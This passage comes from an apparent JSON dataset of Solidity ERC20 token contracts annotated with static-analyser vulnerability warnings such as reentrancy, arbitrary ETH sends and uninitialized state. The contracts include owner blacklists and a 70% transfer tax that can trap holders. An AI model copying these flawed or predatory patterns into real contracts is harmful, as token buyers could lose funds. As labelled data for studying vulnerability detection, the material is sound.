Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 529d1d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 529d1d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fe46601\n\t\t// reentrancy-benign | ID: 529d1d0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fe46601\n\t\t// reentrancy-benign | ID: 529d1d0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a3fbd1e): Bella._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a3fbd1e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 529d1d0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fe46601\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7dc732): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7dc732: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 35d6c10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 35d6c10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 5, \"Only 5 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e7dc732\n\t\t\t\t// reentrancy-eth | ID: 35d6c10\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7dc732\n\t\t\t\t\t// reentrancy-eth | ID: 35d6c10\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 35d6c10\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 35d6c10\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 35d6c10\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e7dc732\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 35d6c10\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 35d6c10\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e7dc732\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fe46601\n\t\t// reentrancy-events | ID: e7dc732\n\t\t// reentrancy-benign | ID: 529d1d0\n\t\t// reentrancy-eth | ID: 35d6c10\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet is the zero address\"\n );\n\n _TaxWallet = newTaxWallet;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a210099): Bella.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _TaxWallet.transfer(amount)\n\t// Recommendation for a210099: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fe46601\n\t\t// reentrancy-events | ID: e7dc732\n\t\t// reentrancy-eth | ID: 35d6c10\n\t\t// arbitrary-send-eth | ID: a210099\n _TaxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 30cd268): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 30cd268: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 324be42): Bella.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 324be42: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: faed37a): Bella.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for faed37a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3513065): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3513065: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 30cd268\n\t\t// reentrancy-eth | ID: 3513065\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 30cd268\n\t\t// unused-return | ID: faed37a\n\t\t// reentrancy-eth | ID: 3513065\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 30cd268\n\t\t// unused-return | ID: 324be42\n\t\t// reentrancy-eth | ID: 3513065\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 30cd268\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3513065\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _TaxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10595.sol",
"size_bytes": 19832,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TheDogefather is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2be5f4d): TheDogefather.bots is never initialized. It is used in TheDogefather._transfer(address,address,uint256)\n\t// Recommendation for 2be5f4d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 68db9ca): TheDogefather._taxWallet should be immutable \n\t// Recommendation for 68db9ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 478b7f0): TheDogefather._initialBuyTax should be constant \n\t// Recommendation for 478b7f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3591644): TheDogefather._initialSellTax should be constant \n\t// Recommendation for 3591644: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c9ae5b): TheDogefather._reduceBuyTaxAt should be constant \n\t// Recommendation for 1c9ae5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12b1672): TheDogefather._reduceSellTaxAt should be constant \n\t// Recommendation for 12b1672: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ba3f9e): TheDogefather._preventSwapBefore should be constant \n\t// Recommendation for 3ba3f9e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Dogefather\";\n\n string private constant _symbol = unicode\"ELON\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a2f723): TheDogefather._taxSwapThreshold should be constant \n\t// Recommendation for 5a2f723: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3626c57): TheDogefather._maxTaxSwap should be constant \n\t// Recommendation for 3626c57: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02de234): TheDogefather.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02de234: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7794d5c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7794d5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1caea11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1caea11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7794d5c\n\t\t// reentrancy-benign | ID: 1caea11\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7794d5c\n\t\t// reentrancy-benign | ID: 1caea11\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba4949e): TheDogefather._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba4949e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1caea11\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7794d5c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e9e0d5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e9e0d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2be5f4d): TheDogefather.bots is never initialized. It is used in TheDogefather._transfer(address,address,uint256)\n\t// Recommendation for 2be5f4d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 89d7d85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 89d7d85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1e9e0d5\n\t\t\t\t// reentrancy-eth | ID: 89d7d85\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1e9e0d5\n\t\t\t\t\t// reentrancy-eth | ID: 89d7d85\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 89d7d85\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 89d7d85\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 89d7d85\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1e9e0d5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 89d7d85\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 89d7d85\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1e9e0d5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7794d5c\n\t\t// reentrancy-events | ID: 1e9e0d5\n\t\t// reentrancy-benign | ID: 1caea11\n\t\t// reentrancy-eth | ID: 89d7d85\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a28fec5): TheDogefather.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a28fec5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7794d5c\n\t\t// reentrancy-events | ID: 1e9e0d5\n\t\t// reentrancy-eth | ID: 89d7d85\n\t\t// arbitrary-send-eth | ID: a28fec5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd9e7b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd9e7b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a37e89): TheDogefather.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4a37e89: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1847b32): TheDogefather.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1847b32: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc412f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc412f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fd9e7b0\n\t\t// reentrancy-eth | ID: fc412f8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fd9e7b0\n\t\t// unused-return | ID: 1847b32\n\t\t// reentrancy-eth | ID: fc412f8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fd9e7b0\n\t\t// unused-return | ID: 4a37e89\n\t\t// reentrancy-eth | ID: fc412f8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fd9e7b0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fc412f8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9e8d619): TheDogefather.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 9e8d619: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 9e8d619\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10596.sol",
"size_bytes": 21234,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n 